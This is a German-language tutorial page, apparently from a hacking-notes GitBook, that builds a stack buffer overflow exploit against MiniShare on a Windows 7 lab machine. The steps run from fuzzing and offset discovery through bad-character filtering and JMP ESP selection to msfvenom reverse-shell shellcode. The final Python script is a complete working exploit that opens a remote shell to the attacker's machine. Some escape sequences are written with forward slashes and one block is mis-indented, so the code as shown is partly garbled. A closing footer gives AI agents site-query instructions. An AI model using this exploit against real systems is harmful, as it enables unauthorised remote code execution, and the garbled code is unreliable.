> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/useful-resources/exploit-development/windows-buffer-overflow-minishare.md).

# Windows-Pufferüberlauf - MiniShare

<details>

<summary>Installation der Buffer-Overflow-Umgebung</summary>

1. Laden Sie die Maschine herunter [Windows 7 Basic 32 Bit](https://lecrabeinfo.net/telecharger/windows-7-edition-familiale-basique-sp1-x86):
2. Innerhalb der Maschine laden Sie den [Debugger ](https://www.immunityinc.com/products/debugger/):
3. Sobald Sie es installiert haben, führen Sie den folgenden Befehl im Terminal aus:

```bash
bcdedit.exe /set {current} nx AlwaysOff
```

4. Kopieren Sie dies [Skript ](https://www.immunityinc.com/products/debugger/)in eine a.py-Datei:
5. Fügen Sie das Skript ein in `c:/Program Files/Immunity Inc/Immunity Debugger/PyCommands`
6. Installieren Sie schließlich [MiniShare](https://sourceforge.net/projects/minishare/files/latest/download)

![](/files/cc43005d73d93fc89fd0c78ea198e5cd75abc283)

</details>

* Im Immunity Debugger hängen wir die MiniShare an:

  <br>

  <figure><img src="/files/f30886fc409771ec3cbf429b3b3656296dbc052a" alt="" width="563"><figcaption></figcaption></figure>
* Wir werden nun mit Fuzzing fortfahren, um die Anzahl der Bytes zu ermitteln:

```python
#!/usr/bin/python3
from struct import pack
import socket
import sys

ip_address = "192.168.71.139"
port = 80

def exploit():
    total_length = 100

    while True:
        try:
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s.settimeout(7)

            s.connect((ip_address, port))

            print("/n[+] Sende %d Bytes" % total_length)

            s.send(b"GET " + b"/x41" * total_length + b" HTTP/1.1/r/n/r/n")
            s.recv(1024)
            s.close() 

            total_length += 100
        except:
            print("/n[!] Der Dienst scheint abgestürzt zu sein/n")
            print("/n[i] Der Dienst ist mit insgesamt %d gesendeten Bytes abgestürzt" % total_length)
            sys.exit(1)

if __name__ == '__main__':
    exploit()
```

<figure><img src="/files/ec32565230fb02c55b5dac1693ab56d37fb4e03b" alt="" width="563"><figcaption></figcaption></figure>

* Mit dem folgenden Befehl haben wir 1800 Oktette:

```
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1800
```

<figure><img src="/files/0af607b4c5f0628188e9c735c9f597019bf23f92" alt=""><figcaption></figcaption></figure>

* Wir aktualisieren das Skript wie folgt:

```python
#!/usr/bin/python3
from struct import pack
import socket
import sys

ip_address = "192.168.71.139"
port = 80

payload = b'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3A
f4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al
2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0
Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9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2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0
Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8C
f9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9'

def exploit():
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.settimeout(7)

        s.connect((ip_address, port))    

        s.send(b"GET " + payload + b" HTTP/1.1/r/n/r/n")
        s.recv(1024)
        s.close() 

    except:
        print("/n[!] Der Dienst scheint abgestürzt zu sein/n")
        sys.exit(1)

if __name__ == '__main__':
    exploit()
```

/ /- Wir müssen die EIP kopieren:

<figure><img src="/files/43d3fe5b91ca939f3f70a128f12ae59902488715" alt="" width="563"><figcaption></figcaption></figure>

* Wir fügen es in das Skript ein, indem wir am Anfang 0x hinzufügen:

```
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 0x36684335
```

* Es sagt uns, dass dies 1787 entspricht:<br>

  <figure><img src="/files/06c8706a5b20ec6bc1e8b1e05e41a105000c2213" alt=""><figcaption></figcaption></figure>
* Sehen wir uns jetzt an, ob wir die EIP kontrollieren können:<br>

```python
#!/usr/bin/python3

from struct import pack
import socket
import sys

ip_address = "192.168.71.139"
port = 80

offset = 1787 

before_eip = b"A"*offset
eip = b"B"*4

payload = before_eip + eip 

def exploit():
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.settimeout(7)

        s.connect((ip_address, port))
 
        s.send(b"GET " + payload + b" HTTP/1.1/r/n/r/n")
        s.recv(1024)
        s.close() 

    except:
        print("/n[!] Der Dienst scheint abgestürzt zu sein/n")
        sys.exit(1)

if __name__ == '__main__':
    exploit()
```

* Wir haben die EIP tatsächlich kontrollieren können:

<figure><img src="/files/93ae29b4b02b1a4876bfccdea90a3efc855d52ff" alt="" width="563"><figcaption></figcaption></figure>

\*Jetzt müssen wir die Badchars finden:

```python
#!/usr/bin/python3

from struct import pack
import socket
import sys

ip_address = "192.168.71.139"
port = 80

offset = 1787 

before_eip = b"A"*offset
eip = b"B"*4

payload = before_eip + eip + b"C"*500 

def exploit():
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.settimeout(7)

        s.connect((ip_address, port))

        s.send(b"GET " + payload + b" HTTP/1.1/r/n/r/n")
        s.recv(1024)
        s.close() 

    except:
        print("/n[!] Der Dienst scheint abgestürzt zu sein/n")
        sys.exit(1)

if __name__ == '__main__':
    exploit()
```

* Wir führen eine "dump"-Überwachung des ESP-Systems durch.

  <br>

  <figure><img src="/files/a8c6e172e17fc42ef06012b66c3d0ae9c0620e69" alt="" width="563"><figcaption></figcaption></figure>
* Mit diesem Befehl erstellen wir die Bytearray-Datei:

```
!mona bytearray -cpb '/x00'
```

<figure><img src="/files/27e3e6258e886f2f655d884dfce683bf4798c46b" alt=""><figcaption></figcaption></figure>

* Von meiner Angreifer-Maschine aus erstellen wir einen SMB-Server, um die Datei an uns zu übertragen:

```bash
impacket-smbserver smbFolder $(pwd) -smb2support
```

<figure><img src="/files/096699b55504b2fe12a0d4a2f1d56444bea6d66a" alt=""><figcaption></figcaption></figure>

* Wir übertragen sie:

  <figure><img src="/files/0ff277df13a72507bedf50c285ea7442a2ff8def" alt=""><figcaption></figcaption></figure>
* Aktualisiertes Skript:

  ```python
  #!/usr/bin/python3

  from struct import pack
  import socket
  import sys

  ip_address = "192.168.71.139"
  port = 80

  offset = 1787 

  before_eip = b"A"*offset
  eip = b"B"*4

  badchars = (b"/x01/x02/x03/x04/x05/x06/x07/x08/x09/x0a/x0b/x0c/x0d/x0e/x0f/x10/x11/x12/x13/x14/x15/x16/x17/x18/x19/x1a/x1b/x1c/x1d/x1e/x1f/x20"
  b"/x21/x22/x23/x24/x25/x26/x27/x28/x29/x2a/x2b/x2c/x2d/x2e/x2f/x30/x31/x32/x33/x34/x35/x36/x37/x38/x39/x3a/x3b/x3c/x3d/x3e/x3f/x40"
  b"/x41/x42/x43/x44/x45/x46/x47/x48/x49/x4a/x4b/x4c/x4d/x4e/x4f/x50/x51/x52/x53/x54/x55/x56/x57/x58/x59/x5a/x5b/x5c/x5d/x5e/x5f/x60"
  b"/x61/x62/x63/x64/x65/x66/x67/x68/x69/x6a/x6b/x6c/x6d/x6e/x6f/x70/x71/x72/x73/x74/x75/x76/x77/x78/x79/x7a/x7b/x7c/x7d/x7e/x7f/x80"
  b"/x81/x82/x83/x84/x85/x86/x87/x88/x89/x8a/x8b/x8c/x8d/x8e/x8f/x90/x91/x92/x93/x94/x95/x96/x97/x98/x99/x9a/x9b/x9c/x9d/x9e/x9f/xa0"
  b"/xa1/xa2/xa3/xa4/xa5/xa6/xa7/xa8/xa9/xaa/xab/xac/xad/xae/xaf/xb0/xb1/xb2/xb3/xb4/xb5/xb6/xb7/xb8/xb9/xba/xbb/xbc/xbd/xbe/xbf/xc0"
  b"/xc1/xc2/xc3/xc4/xc5/xc6/xc7/xc8/xc9/xca/xcb/xcc/xcd/xce/xcf/xd0/xd1/xd2/xd3/xd4/xd5/xd6/xd7/xd8/xd9/xda/xdb/xdc/xdd/xde/xdf/xe0"
  b"/xe1/xe2/xe3/xe4/xe5/xe6/xe7/xe8/xe9/xea/xeb/xec/xed/xee/xef/xf0/xf1/xf2/xf3/xf4/xf5/xf6/xf7/xf8/xf9/xfa/xfb/xfc/xfd/xfe/xff")

  payload = before_eip + eip + badchars

  def exploit():
      try:
          s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
          s.settimeout(7)

          s.connect((ip_address, port))
       
          s.send(b"GET " + payload + b" HTTP/1.1/r/n/r/n")
          s.recv(1024)
          s.close() 

      except:
          print("/n[!] Der Dienst scheint abgestürzt zu sein/n")
          sys.exit(1)

  if __name__ == '__main__':
      exploit()
  ```
* Wir senden den Inhalt des ESP-Systems zurück in den "dump":

<figure><img src="/files/214e0e31b89adfd80b4d2e960d3f6626e7ee1934" alt=""><figcaption></figcaption></figure>

* Unsere Ergebnisse des Vergleichs:

```
!mona compare -a 0x03C238D0 -f C:/Users/jordan/Desktop/Analysis/bytearray.bin
```

<figure><img src="/files/6c96040365c153e599d77909aa4f8fad91d892d6" alt="" width="563"><figcaption></figcaption></figure>

* Wir überschreiben die Datei ohne unerwünschte Zeichen und entfernen sie aus unserem Skript:

```bash
!mona bytearray -cpb '/x00/x0d'
```

<figure><img src="/files/863fb1d7dd1e2e008cdaae720015f3109723c1aa" alt=""><figcaption></figcaption></figure>

* Und wenn wir den Vergleich erneut durchführen, gibt es keine Badchars mehr:

  <figure><img src="/files/3c19ed201e94fec7ccf702176ed849c48b378985" alt=""><figcaption></figcaption></figure>
* Wir verwenden das `!mona modules` Befehl nehmen wir "false".

<figure><img src="/files/f4a6d2f4b9e6650d4249c431402b92e5c34e3521" alt=""><figcaption></figcaption></figure>

* Wenn wir den folgenden Befehl verwenden, erhalten wir in diesem Fall einen Fehler, der besagt, dass keine Pointer existieren:

```
!mona find -s '/xFF/xE4' -m minishare.exe
```

<figure><img src="/files/4041519674c13481344e9d93f2a980c26eaf6eb6" alt=""><figcaption></figcaption></figure>

* Wir verwenden diesen Befehl als Alternative und finden 44, dann wählen wir einen aus, der keine unerwünschten Zeichen enthält:

```
!mona findwild -s "JMP ESP"
```

<figure><img src="/files/64ccfa05c5a4a20ff236eebae8cc423fc0c09a8f" alt=""><figcaption></figcaption></figure>

* Jetzt die Doppelpunkte im Skript in der EIP-Variable mit dem Präfix "0x" und alles in Kleinbuchstaben:

<div data-full-width="true"><figure><img src="/files/e1e8b60dc05ae563317637b980ea762fe224892f" alt=""><figcaption></figcaption></figure></div>

* Jetzt generieren wir den Shellcode, um die Reverse Shell zu erstellen:

```bash
msfvenom -p windows/shell_reverse_tcp --platform windows -a x86 LHOST=192.168.71.128 LPORT=443 -e x86/shikata_ga_nai EXITFUNC=thread -f c -b '/x00/x0d' 
```

<figure><img src="/files/a6c5fcc3b2ad85f1690b958d9c48b8d2f178ecfa" alt="" width="563"><figcaption></figcaption></figure>

* Aktualisiertes Skript:

```python
#!/usr/bin/python3

from struct import pack
import socket
import sys

ip_address = "192.168.71.139"
port = 80

offset = 1787 

before_eip = b"A"*offset
eip = pack("<L", 0x7616be7f)

shellcode = (b"/xda/xd9/xd9/x74/x24/xf4/x58/x2b/xc9/xbf/xd3/xb2/xb4/xc4"
b"/xb1/x52/x83/xe8/xfc/x31/x78/x13/x03/xab/xa1/xa6/x31/xb7"
b"/x2e/x14/xba/x47/xaf/x79/xb2/xa2/xb9/xb9/x20/xa7/xb1/x09"
b"/x22/xe5/x3d/xe1/x66/x1d/xb5/x87/xae/x12/x7e/x2d/x89/x1d"
b"/x7f/x1e/xe9/x3c/x03/x5d/x3e/x9e/x3a/xae/x33/xdf/x7b/xd3"
b"/xbe/x8d/xd4/x9f/x6d/x21/x50/xd5/xad/xca/x2a/xfb/xb5/x2f"
b"/xfa/xfa/x94/xfe/x70/xa5/x36/x01/x54/xdd/x7e/x19/xb9/xd8"
b"/xc9/x92/x09/x96/xcb/x72/x40/x57/x67/xbb/x6c/xaa/x79/xfc"
b"/x4b/x55/x0c/xf4/xaf/xe8/x17/xc3/xd2/x36/x9d/xd7/x75/xbc"
b"/x05/x33/x87/x11/xd3/xb0/x8b/xde/x97/x9e/x8f/xe1/x74/x95"
b"/xb4/x6a/x7b/x79/x3d/x28/x58/x5d/x65/xea/xc1/xc4/xc3/x5d"
b"/xfd/x16/xac/x02/x5b/x5d/x41/x56/xd6/x3c/x0e/x9b/xdb/xbe"
b"/xce/xb3/x6c/xcd/xfc/x1c/xc7/x59/x4d/xd4/xc1/x9e/xb2/xcf"
b"/xb6/x30/x4d/xf0/xc6/x19/x8a/xa4/x96/x31/x3b/xc5/x7c/xc1"
b"/xc4/x10/xd2/x91/x6a/xcb/x93/x41/xcb/xbb/x7b/x8b/xc4/xe4"
b"/x9c/xb4/x0e/x8d/x37/x4f/xd9/x72/x6f/x08/x99/x1b/x72/x96"
b"/x98/x60/xfb/x70/xf0/x86/xa8/x2b/x6d/x3e/xf7/xa7/x0c/xbf"
b"/x2d/xc2/x0f/x4b/xc2/x33/xc1/xbc/xaf/x27/xb6/x4c/xfa/x15"
b"/x11/x52/xd0/x31/xfd/xc1/xbf/xc1/x88/xf9/x17/x96/xdd/xcc"
b"/x61/x72/xf0/x77/xd8/x60/x09/xe1/x23/x20/xd6/xd2/xaa/xa9"
b"/x9b/x6f/x89/xb9/x65/x6f/x95/xed/x39/x26/x43/x5b/xfc/x90"
b"/x25/x35/x56/x4e/xec/xd1/x2f/xbc/x2f/xa7/x2f/xe9/xd9/x47"
b"/x81/x44/x9c/x78/x2e/x01/x28/x01/x52/xb1/xd7/xd8/xd6/xd1"
b"/x35/xc8/x22/x7a/xe0/x99/x8e/xe7/x13/x74/xcc/x11/x90/x7c"
b"/xad/xe5/x88/xf5/xa8/xa2/x0e/xe6/xc0/xbb/xfa/x08/x76/xbb"
b"/x2e")

payload = before_eip + eip + b"/x90"*16 + shellcode

def exploit():
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.settimeout(7)
        s.connect((ip_address, port))
        s.send(b"GET " + payload + b" HTTP/1.1/r/n/r/n")
        s.recv(1024)
        s.close() 
 
     except:
         print("/n[!] Der Dienst scheint abgestürzt zu sein/n")
         sys.exit(1)
 
 if __name__ == '__main__':
     exploit()
```

* Wir lauschen mit rlwrap und erhalten schließlich Zugriff:

<figure><img src="/files/93d232d308b81e26a75d80c8771233f3b669a755" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/useful-resources/exploit-development/windows-buffer-overflow-minishare.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
